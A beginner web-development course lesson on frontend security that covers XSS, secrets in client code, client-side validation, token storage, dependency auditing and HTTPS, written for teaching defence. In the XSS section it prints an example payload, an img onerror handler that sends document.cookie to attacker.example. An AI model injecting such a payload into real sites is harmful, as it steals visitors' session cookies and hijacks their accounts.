Webbo3 Level 2 · JavaScript Development · Day 17 of 20

Security for Frontend Developers

Not a security course. The specific mistakes a junior is expected not to make, and why each one matters.

You are not going to become a security engineer today. You are going to stop making five specific mistakes that appear in almost every beginner project, each of which has caused real incidents at real companies. That is a realistic and genuinely useful goal for one day.

1. The one rule underneath all of it

2. XSS: the one that will actually happen to you

Cross-site scripting is putting untrusted text somewhere the browser will treat it as code. You met it on Day 4. Today you see exactly why it is serious.

// the vulnerable line, and it is everywhere
commentBox.innerHTML = userComment;

Now suppose the comment is this:

<img src=x onerror="fetch('https://attacker.example/steal?c='+document.cookie)">

The image fails to load, onerror runs, and the visitor's session cookie is on somebody else's server. The visitor did nothing but read a comment. The script runs with all the privileges of whoever is looking at the page, which is the part that makes XSS serious: on an admin's screen it can do anything an admin can do.

The fix, and it is one word

commentBox.textContent = userComment;    // treated as text, always

// what the two do differently, with no browser involved
const hostile = '<img src=x onerror="steal()">';

// textContent: the characters are preserved and stay characters
console.log('as text:  ', hostile);

// innerHTML: the browser would parse this into a real element with a real handler
const escaped = hostile
  .replaceAll('&', '&amp;').replaceAll('<', '&lt;').replaceAll('>', '&gt;');
console.log('escaped:  ', escaped);

3. Anything in your frontend is public

There is no such thing as a secret in JavaScript that runs in a browser. Minifying does not help. Obfuscating does not help. Anyone can open DevTools.

# .env  -  never committed
WEATHER_API_KEY=abc123realkey

# .env.example  -  committed, so a teammate knows what they need
WEATHER_API_KEY=

The honest architecture: a key that must stay secret lives on a server you control, and your frontend calls your endpoint, which calls the third party. That is Level 3, and until then, prefer APIs that need no key.

4. Browser validation is a courtesy

Every check you wrote on Day 13 can be removed by the person using your site, in about four seconds, with no tools beyond the ones already in their browser.

• Open DevTools, delete the required attribute, submit.
• Change maxlength, or the max on a number field, or a hidden price input.
• Or ignore the page entirely and send the request straight from the Console.

5. Authentication and authorisation

And on where a token lives: localStorage is readable by any JavaScript on the page, so one XSS hole hands over every logged-in session. The safer arrangement is an httpOnly cookie, which JavaScript cannot read at all. That is a server decision and therefore Level 3, but you should know the trade-off now, because you will be offered the localStorage version by every tutorial you read.

6. Two more worth ten minutes

Dependencies

Every package you install runs with your privileges and brings its own dependencies. Real attacks have come through a package that a package that your package depends on.

npm audit                 # what is known to be vulnerable
npm audit fix             # fix what can be fixed safely
npm ls <package>          # why is this even installed

• Check the weekly downloads and the last publish date before installing anything.
• Read the name twice. Typosquatted packages differ by one character on purpose.
• Ask whether the browser already does it. Day 12 was largely that question.

HTTPS

Over plain http, anyone between your user and your server can read and modify everything, including injecting scripts into your page. It is also required for geolocation, clipboard, service workers and notifications. GitHub Pages, Netlify and Vercel all give you https for nothing, so there is no remaining excuse.

Do this now

1. Add <img src=x onerror="alert(1)"> as a record in your Day 15 project. If you get a popup, you have an XSS hole: find it and fix it with textContent.
2. Search your whole project for innerHTML. For every hit, write down where that string came from. Any that traces back to a user gets changed.
3. Open your deployed project, delete a required attribute in DevTools and submit. Watch your own validation disappear.
4. Run npm audit if you have a package.json. Read one advisory in full: they are more readable than you expect.
5. Check every repository you have pushed this month for a committed key. If you find one, rotate it today.

Checkpoint

Tomorrow, Day 18: getting it off your laptop and onto a URL you can send to somebody.